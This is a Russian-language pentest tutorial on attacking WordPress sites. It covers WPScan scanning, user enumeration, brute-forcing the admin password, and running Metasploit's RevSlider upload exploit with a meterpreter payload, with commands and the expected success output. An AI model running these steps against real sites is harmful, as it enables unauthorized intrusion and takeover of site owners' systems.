Пентест сайтов на базе WordPress при помощи WPScan и Metaspoit

Автор: Behrouz Mansoori

В этом руководстве будет рассмотрено, как использовать WPScan и Metasploit для легкого взлома сайта на базе WordPress. Вы научитесь сканировать WordPress-сайты на предмет потенциальных уязвимостей, получать контроль над системой жертвы и список пользователей, подбирать пароль к учетным записям и загружать скандально известный meterpreter-шелл в целевую систему, используя Metasploit Framework.

Если коротко, то будут рассмотрены следующие темы:

    Как использовать WPScan для нахождения уязвимостей и последующей эффективной эксплуатации.

    Как использовать критическое мышления для исследования потенциальных уязвимостей.

    Как использовать максимально эффективно информацию, полученную при помощи WPScan.

    Как получить список пользователей/учетных записей в WordPress.

    Как выполнить брутфорс учетной записи администратора.

    Как использовать Metasploit для эксплуатации уязвимости, обнаруженную при помощи WPScan в критически важном плагине.

    Как использовать полезную нагрузку в Metasploit для эксплуатации WordPress.

Запуск WPScan

Откройте терминал и введите команду wpscan или зайдите в раздел Applications > Web Application Analysis > WPScan.

Рисунок 1: Раздел графического интерфейса, где находится WPScan

Обновление базы уязвимостей

Чтобы убедиться, что база уязвимостей самая последняя, введите следующую команду для обновления:

Рисунок 2: Обновление базы уязвимостей

Если у вас возникла проблема, показанная выше, введите следующую команду:

wpscan —update —verbose

Рисунок 3: Повторное обновление базы уязвимостей

Поиск уязвимостей

Чтобы просканировать сайт на предмет присутствия потенциальных уязвимостей, введите следующую команду:

wpscan —url targetwordpressurl.com

Рисунок 4: Результаты сканирования сайта

Как видно на рисунках выше, при помощи WPScan удалось выяснить некоторые детали целевого сайта, включая следующее:

    XMLRPC.php (XML-RPC Interface) доступен для брутфорса и DDoS атак через пингбэки.

    Основная версия WordPress: 2.0.1.

    15 уязвимостей:

      wp-register.php: XSS уязвимости во множестве параметров.
      admin.php: обход безопасности конфигуратора модулей.
      XMLRPC Pingback API: внутреннее/внешнее сканирование портов.
      XMLRPC Pingback: дополнительные проблемы.
      wp-includes/comment.php: обход ограничений спама.
      request_filesystem_credentials(): множественный межсайтовый скриптинг (XSS).
      wp-admin/plugins.php: межсайтовый скриптинг (XSS).
      wp-includes/capabilities.php: обход ограничений для удаленных администраторов через операцию удаления.
      Обход ограничений для удаленных администраторов через операцию добавления.
      DoS атака через отправку длинного пароля.
      Подделка запроса на стороне сервера (SSRF).
      Обход ограничений на отправку почты через поддельный сервер mail.example.com.
      Возможность выполнения атак через RSS и Atom.
      DoS-атака на уровне приложения (не исправлено).
      Удаление произвольных файлов.

    Идентификация темы и версии WordPress.

Красные восклицательные знаки обозначают, что уязвим определенный компонент сайта.

Рисунок 5: Примеры уязвимостей в отдельных компонентах

Кроме того, при помощи WPScan удалось выяснить следующее:

В контактной форме присутствуют уязвимости, связанные с обходом проверок на безопасность и загрузкой произвольных файлов (RCE) (Описания брешей опубликованы на WPVulnDB, SecurityFocus, CVE MITRE, PacketStormSecurity).

Присутствуют бреши в плагине LAyerSlider: Style Editing CSRF, Remote Path Traversal File Access, CSRF / Authenticated Stored XSS & SQL Injection (Описания брешей опубликованы на WPVulnDB, PacketStormSecurity, secunia, wphutte).

Важно отметить, что даже когда WPScan не может определить версию конкретного плагина, то выводит список всех потенциальных уязвимостей. Дальше вы уже вручную изучаете каждую ссылку и проверяете работоспособность эксплоита в случае с конкретным сайтом. Отсутствие версии плагина не означает, что на сайте нет брешей.

Ниже представлены ссылки на сайты, которые пригодятся при изучение потенциальных уязвимостей.

    https://wpvulndb.com

    https://www.SecurityLab.ru

    https://packetstormsecurity.com

    https://www.exploit-db.com

    https://cve.mitre.org

    http://www.securityfocus.com

    http://cxsecurity.com

Интересный пример

Предположим, что при сканировании сайта мы получили следующие результаты:

Рисунок 6: Результаты сканирования сайта с уязвимым плагином Slider Revolution

Выяснилось, что на целевом сайте в плагине Slider Revolution есть две критические уязвимости:

    Local File Inclusion (Включение локального файла).

    Shell Upload (Загрузка шелла).

Мы можем легко реализовать эти виды атак.

Например, воспользоваться эксплоитом Upload Execute Exploit через Metasploit.

В Metasploit этот эксплоит уже готов к употреблению, но прежде, чем начать изучение этого фреймворка, рассмотрим, как получить список пользователей/учетных записей в WordPress.

Инструмент для получения списка зарегистрированных пользователей/учетных записей уже встроен в WPScan.

Этот список может пригодиться, когда злоумышленнику нужно получить доступ к целевой системе при помощи брутфорса учетной записи администратора.

Данная утилита будет сканировать целевой сайт и собирать список авторов и имен пользователей.

Чтобы получить список пользователей, введите следующую команду:

wpscan —url targetwordpressurl.com –enumerate u

Рисунок 7: Перечень пользователей сайта

По результатам работы утилиты было обнаружено следующее:

    В базе есть две учетные записи, наиболее важная из которых — admin (имя стандартной административной учетной записи осталось неизменным).

    Учетная запись admin до сих пор используется.

    У второй учетной записи могут быть административные привилегии (можно попробовать выполнить брутфорс одновременно по двум аккаунтам).

Как подобрать пароль администратора при помощи брутфорса

Чтобы начать подбор пароля для пользователя admin введите следующую команду:

wpscan –url targetwordpressurl.com –wordlist /usr/share/wordlists/rockyou.txt (нужно поменять на путь к вашему словарю) –username admin (целевое имя пользователя) –threads 2 (поменяйте количество потоков на то, которое желаете использовать).

Команда в чистом виде без содержимого внутри скобок будет выглядеть так:

wpscan —url targetwordpressurl.com–wordlist /usr/share/wordlists/rockyou.txt –username admin –threads 2

По завершению процесса найденный пароль будет отображаться в терминале рядом с идентификатором логина.

Запуск Metasploit Framework с рабочего стола

Рисунок 8: Рабочий стол с ярлыком для Metasploit Framework

Хотя уязвимость в плагине RevSlider была исправлена, многие во многих системах на базе WordPress этот плагин до сих пор не обновился, что делает эти сайты легкой добычей для начинающих хакеров.

Введите в терминале следующие команды:

    search revslider

    use exploit/unix/webapp/wp_revslider_upload_execute

    show options

Рисунок 9: Настройка эксплоита wp_revslider_upload_execute

Чтобы установить URL веб-сайта, используйте следующую команду:

set rhost 127.0.0.1/targetsiteurl.com (подставьте IP-адрес или URL вашего целевого сайта).

Осталось установить путь до папки, в которой установлен WordPress, при помощи следующей команды:

set targeturi /wordpress (замените /wordpress на ту директорию, где установлена эта cms).

Использование полезной нагрузки

Теперь нужно настроить полезную нагрузку. В нашем демонстрационном примере будет использоваться обычная полезная нагрузка на базе meterpreter для получения контроля над целевой системой.

В терминале введите следующие команды:

    set payload php/meterpreter/bind_tcp

    show options

Рисунок 10: Установка и настройка полезной нагрузки

Проверьте, чтобы в параметре rhost модуля и полезной нагрузки стоял IP-адрес/URL вашего целевого сайта.

Также можно проверить, уязвима ли целевая система, если ввести в терминале команду «check».

В ответ вы получите сообщение «The target appears to be vulnerable», которое означает, что целевой сайт уязвим.

Теперь, чтобы получить meterpreter-шелл в целевой системе, в терминале введите команду «exploit».

В случае успеха в терминале появятся следующие сообщения:

    «127.0.0.1 (Целевой IP-адрес измене) – Our payload is at /wordpress/wp-content/plugins/revslider/temp/upload»

    «127.0.0.1 (Целевой IP-адрес измене) – Calling payload…»

    «Deleted oCDNSJ.php»

    «Deleted ../revslider.zip»

Надеюсь, эта статья оказалась для вас полезной.

Источник: securitylab.ru

Новые Технологии